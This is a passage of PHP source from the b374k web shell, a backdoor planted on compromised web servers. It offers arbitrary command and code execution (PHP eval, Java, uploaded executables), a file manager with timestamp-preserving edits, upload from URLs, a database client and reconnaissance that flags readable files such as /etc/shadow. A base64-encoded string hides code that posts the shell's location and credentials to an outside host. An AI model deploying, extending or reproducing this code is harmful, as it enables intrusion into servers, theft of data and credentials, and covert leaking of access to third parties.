return $res."{[|b374k|]}".$output;
}
elseif($evalType=="java"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = "javac ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = "java ".$filename.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="executable"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".exe";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = $path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
return false;
}
}
if(!function_exists('output')){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header("Content-Type: text/plain");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
echo $str;
die();
}
}
block_bot();
auth();
$u212 = "JHpyeD0iaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiAtICIuJGF1dGguIiAtIGIzNzRzaGVsbFxuIjsNCiR1cmw9Imh0dHA6Ly9pc2xhbW1lZGlhLmZyZWUuZnIvU2NyaXB0cy9pbmZvLnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsgIA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGF0YT0kenJ4Iik7DQokb3V0cHV0PWN1cmxfZXhlYygkY2gpOyAg";
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();
$explorer_content = "";
if(isset($p['viewEntry'])){
$path = trim($p['viewEntry']);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie("cwd", $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, "auto");
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());
$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;
$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = " ";
$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
";
$res = "";
if(isset($p['cd'])){
$path = $p['cd'];
if(trim($path)=='') $path = dirname(__FILE__);
$path = realpath($path);
if(is_file($path)) $path = dirname($path);
if(is_dir($path)){
chdir($path);
$path = $path.DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
if(isset($p['showfiles'])&&($p['showfiles']=='true')){
$res .= show_all_files($path);
}
}
else $res = "error";
output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
$path = trim($p['viewFile']);
$type = trim($p['viewType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
if(is_file($path)){
$res = view_file($path, $type, $preserveTimestamp);
}
else $res = "error";
output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
$renameFile = trim($p['renameFile']);
$renameFileTo = trim($p['renameFileTo']);
if(file_exists($renameFile)){
if(rename($renameFile, $renameFileTo)){
$res = dirname($renameFileTo);
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['newFolder'])){
$newFolder = trim($p['newFolder']);
if(mkdir($newFolder)){
$res = dirname($newFolder);
}
else $res = "error";
output($res);
}
elseif(isset($p['newFile'])){
$newFile = trim($p['newFile']);
if(touch($newFile)){
$res = dirname($newFile);
}
else $res = "error";
output($res);
}
elseif(isset($p['delete'])){
$path = trim($p['delete']);
$dirname = dirname($path);
if(is_file($path)){
if(unlink($path)) $res = $dirname;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $res = $dirname;
}
else $res = "error";
if(file_exists($path)) $res = "error";
output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
$editFilename = trim($p['editFilename']);
$editInput = trim($p['editInput']);
$editType = trim($p['editType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
$time = filemtime($editFilename);
if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
if(write_file($editFilename, $editInput)){
$res = $editFilename;
if($preserveTimestamp=='true') touch($editFilename, $time);
}
else $res = "error";
output($res);
}
elseif(isset($p['findType'])){
$findType = trim($p['findType']);
$findPath = trim($p['findPath']);
$findName = trim($p['findName']);
$findNameRegex = trim($p['findNameRegex']);
$findNameInsensitive = trim($p['findNameInsensitive']);
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
else $res = "error";
foreach($candidate as $k){
if(($findType=="file")||($findType=="folder")){
if(!empty($findName)){
if($findNameRegex=="true"){
$case = ($findNameInsensitive=="true")? "i":"";
if(!preg_match("/".$findName."/".$case, basename($k))){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findNameInsensitive=="true"){
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
}
else{
$check = strpos(basename($k), $findName)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
if($findType=="file"){
if(!empty($findContent)){
$content = read_file($k);
if($findContentRegex=="true"){
$case = ($findContentInsensitive=="true")? "i":"";
if(!preg_match("/".$findContent."/".$case, $content)){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findContentInsensitive=="true"){
$check = strpos(strtolower($content), strtolower($findContent))===false;
}
else{
$check = strpos($content, $findContent)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
}
foreach($candidate as $k){
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
}
if(count($candidate)>0){
$res = "";
foreach($candidate as $k){
$res .= "> ".html_safe($k)."
";
}
}
else $res = "";
output($res);
}
elseif(isset($p['ulType'])){
$ulSaveTo = trim($p['ulSaveTo']);
$ulFilename = trim($p['ulFilename']);
if($p['ulType']=='comp'){
$ulFile = $_FILES['ulFile'];
if(empty($ulFilename)) $ulFilename = $ulFile['name'];
if(is_uploaded_file($ulFile['tmp_name'])){
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
}
elseif($p['ulType']=='url'){
$ulFile = trim($p['ulFile']);
if(empty($ulFilename)) $ulFilename = basename($ulFile);
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(download($ulFile, $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['download'])){
$file = trim($p['download']);
if(is_file($file)){
header("Content-Type: application/octet-stream");
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
$handler = fopen($file,"rb");
while(!feof($handler)){
print(fread($handler, 1024*8));
@ob_flush();
@flush();
}
fclose($handler);
die();
}
}
elseif(isset($p['multimedia'])){
$file = trim($p['multimedia']);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if(is_file($file)){
header("Content-Type: ".$mime);
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
echo "data:".$mime.";base64,".base64_encode(read_file($file));
die();
}
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
$massType = trim($p['massType']);
$massBuffer = trim($p['massBuffer']);
$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
$massValue = trim($p['massValue']);
$counter = 0;
$massBufferArr = explode("\n", $massBuffer);
if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType=='delete'){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType=='cut'){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
touch($dest, $preserveTimestamp);
}
}
elseif($massType=='copy'){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType=='chmod'){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType=='chown'){
if(chown($path, $massValue)) $counter++;
}
elseif($massType=='touch'){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output('error');
}
elseif(isset($p['viewFileorFolder'])){
$entry = $p['viewFileorFolder'];
if(is_file($entry)) output('file');
elseif(is_dir($entry)) output('folder');
output('error');
}
elseif(isset($p['terminalInput'])){
output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
$evalInput = $p['evalInput'];
$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
$evalType = $p['evalType'];
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
$res = eval_get_supported();
if(empty($res)) $res = "error";
output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
Convert
convert
You can also press ctrl+enter to submit
";
if(!function_exists('decode')){
function decode($str){
$res = "";
$length = (int) strlen($str);
$res .= decode_line("md5", md5($str), "input");
$res .= decode_line("sha1", sha1($str), "input");
$res .= decode_line("base64 encode", base64_encode($str), "textarea");
$res .= decode_line("base64 decode", base64_decode($str), "textarea");
$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
$res .= decode_line("string to hex", bin2hex($str), "textarea");
$ascii = "";
for($i=0; $i<$length; $i++){
$ascii .= ord(substr($str,$i,1))." ";
}
$res .= decode_line("ascii char", trim($ascii), "textarea");
$res .= decode_line("reversed", strrev($str), "textarea");
$res .= decode_line("lowercase", strtolower($str), "textarea");
$res .= decode_line("uppercase", strtoupper($str), "textarea");
$res .= decode_line("urlencode", urlencode($str), "textarea");
$res .= decode_line("urldecode", urldecode($str), "textarea");
$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
$res .= decode_line("htmlentities", html_safe($str), "textarea");
if(function_exists('hash_algos')){
$algos = hash_algos();
foreach($algos as $algo){
if(($algo=='md5')||($algo=='sha1')) continue;
$res .= decode_line($algo, hash($algo, $str), "input");
}
}
return $res;
}
}
if(!function_exists('decode_line')){
function decode_line($type, $result, $inputtype){
$res = "".$type." ";
if($inputtype=='input'){
$res .= " ";
}
else{
$res .= "";
}
return $res;
}
}
if(isset($p['decodeStr'])){
$decodeStr = $p['decodeStr'];
output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
";
if(!function_exists('sql_connect')){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'pgsql'){
$hosts = explode(":", $sqlhost);
if(count($hosts)==2){
$host_str = "host=".$hosts[0]." port=".$hosts[1];
}
else $host_str = "host=".$sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
}
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}
if(!function_exists('sql_query')){
function sql_query($sqltype, $query, $con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->query($query);
elseif(function_exists('mysql_query')) return mysql_query($query);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
elseif(function_exists('mssql_query')) return mssql_query($query);
}
elseif($sqltype == 'pgsql') return pg_query($query);
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
elseif($sqltype == 'sqlite3') return $con->query($query);
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
elseif($sqltype == 'pdo') return $con->query($query);
}
}
if(!function_exists('sql_num_rows')){
function sql_num_rows($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
}
elseif($sqltype == 'pgsql') return pg_num_rows($result);
elseif($sqltype == 'oracle') return oci_num_rows($result);
elseif($sqltype == 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
}
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
elseif($sqltype == 'odbc') return odbc_num_rows($result);
elseif($sqltype == 'pdo') return $result->rowCount();
}
}
if(!function_exists('sql_num_fields')){
function sql_num_fields($sqltype, $result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
}
elseif($sqltype == 'pgsql') return pg_num_fields($result);
elseif($sqltype == 'oracle') return oci_num_fields($result);
elseif($sqltype == 'sqlite3') return $result->numColumns();
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
elseif($sqltype == 'odbc') return odbc_num_fields($result);
elseif($sqltype == 'pdo') return $result->columnCount();
}
}
if(!function_exists('sql_field_name')){
function sql_field_name($sqltype,$result,$i){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
}
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
elseif($sqltype == 'sqlite3') return $result->columnName($i);
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
elseif($sqltype == 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
}
if(!function_exists('sql_fetch_data')){
function sql_fetch_data($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
}
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
elseif($sqltype == 'oracle') return oci_fetch_row($result);
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
elseif($sqltype == 'pdo') return $result->fetch(2);
}
}
if(!function_exists('sql_close')){
function sql_close($sqltype,$con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->close();
elseif(function_exists('mysql_close')) return mysql_close($con);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
elseif(function_exists('mssql_close')) return mssql_close($con);
}
elseif($sqltype == 'pgsql') return pg_close($con);
elseif($sqltype == 'oracle') return oci_close($con);
elseif($sqltype == 'sqlite3') return $con->close();
elseif($sqltype == 'sqlite') return sqlite_close($con);
elseif($sqltype == 'odbc') return odbc_close($con);
elseif($sqltype == 'pdo') return $con = null;
}
}
if(!function_exists('sql_get_supported')){
function sql_get_supported(){
$db_supported = array();
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
if(class_exists("PDO")) $db_supported[] = 'pdo';
return implode(",", $db_supported);
}
}
if(isset($p['dbGetSupported'])){
$res = sql_get_supported();
if(empty($res)) $res = "error";
output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
$type = $p['dbType'];
$host = $p['dbHost'];
$user = $p['dbUser'];
$pass = $p['dbPass'];
$port = $p['dbPort'];
$con = sql_connect($type ,$host , $user , $pass);
$res = "";
if($con!==false){
if(isset($p['dbQuery'])){
$query = $p['dbQuery'];
$pagination = "";
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
$db = trim($p['dbDB']);
$table = trim($p['dbTable']);
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
if($type=='mysql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
}
elseif($type=='mssql'){
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
}
elseif($type=='pgsql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
}
elseif($type=='oracle'){
$limit = $start + $limit;
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
}
elseif($type=='sqlite' || $type=='sqlite3'){
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
}
else $query = "";
$pagination = "Limit
prev
next
";
}
$querys = explode(";", $query);
foreach($querys as $query){
if(trim($query) != ""){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= "".html_safe($query)."; [ ok ]
";
if(!empty($pagination)){
$res .= "".$pagination."
";
}
if(!is_bool($query_query)){
$res .= "";
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
$res .= "".html_safe(sql_field_name($type, $query_query, $i))." ";
$res .= " ";
while($rows = sql_fetch_data($type, $query_query)){
$res .= "";
foreach($rows as $r){
if(empty($r)) $r = " ";
$res .= "".html_safe($r)." ";
}
$res .= " ";
}
$res .= "
";
}
}
else{
$res .= "".html_safe($query)."; [ error ]
";
}
}
}
}
else{
if(($type!='pdo') && ($type!='odbc')){
if($type=='mysql') $showdb = "SHOW DATABASES";
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
else $showdb = "SHOW DATABASES";
$query_db = sql_query($type, $showdb, $con);
if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "";
$res .= "".$db."
";
$query_table = sql_query($type, $showtbl, $con);
if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= "".$table." ";
}
}
$res .= "
";
}
}
}
}
}
}
if(!empty($res)) output($res);
output('error');
}
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "
";
if(!function_exists('info_getinfo')){
function info_getinfo(){
$res = "";
// server misc info
$res .= "Server Info
";
$res .= "";
if(is_win()){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$res .= "drive ".$drive." ".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))." ";
}
}
}
else $res .= "root partition ".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))." ";
$res .= "php ".phpversion()." ";
$access = array("python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k=>$v){
$version = execute($v);
$version = explode("\n", $version);
if($version[0]) $version = $version[0];
else $version = "?";
$res .= "".$k." ".$version." ";
}
if(!is_win()){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($interesting as $f){
if(@is_file($f) && @is_readable($f)) $res .= "".$f." ".$f." is readable ";
}
}
$res .= "
";
if(!is_win()){
// cpu info
if($i_buff=trim(read_file("/proc/cpuinfo"))){
$res .= "CPU Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$res .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
}
$res .= "
";
}
}
$res .= "
";
}
// mem info
if($i_buff=trim(read_file("/proc/meminfo"))){
$res .= "Memory Info
";
$i_buffs = explode("\n", $i_buff);
$res .= "";
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
else $res .= "
";
}
// partition
if($i_buff=trim(read_file("/proc/partitions"))){
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$res .= "Partitions Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
$res .= "
";
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h) $res .= "".$h." ";
$res .= " ";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$res .= "";
foreach($i_row as $r) $res .= "".$r." ";
$res .= " ";
}
$res .= "
";
$res .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= "".$p."
";
ob_start();
eval("phpinfo(".$i.");");
$b = ob_get_contents();
ob_end_clean();
if(preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$body = str_replace("(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", "", $body);
$body = preg_replace("/ /", "", $body);
$res .= "".$body."
";
}
}
$res .= "refresh
";
return $res;
}
}
if(isset($p['infoRefresh'])){
output(info_getinfo());
}
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
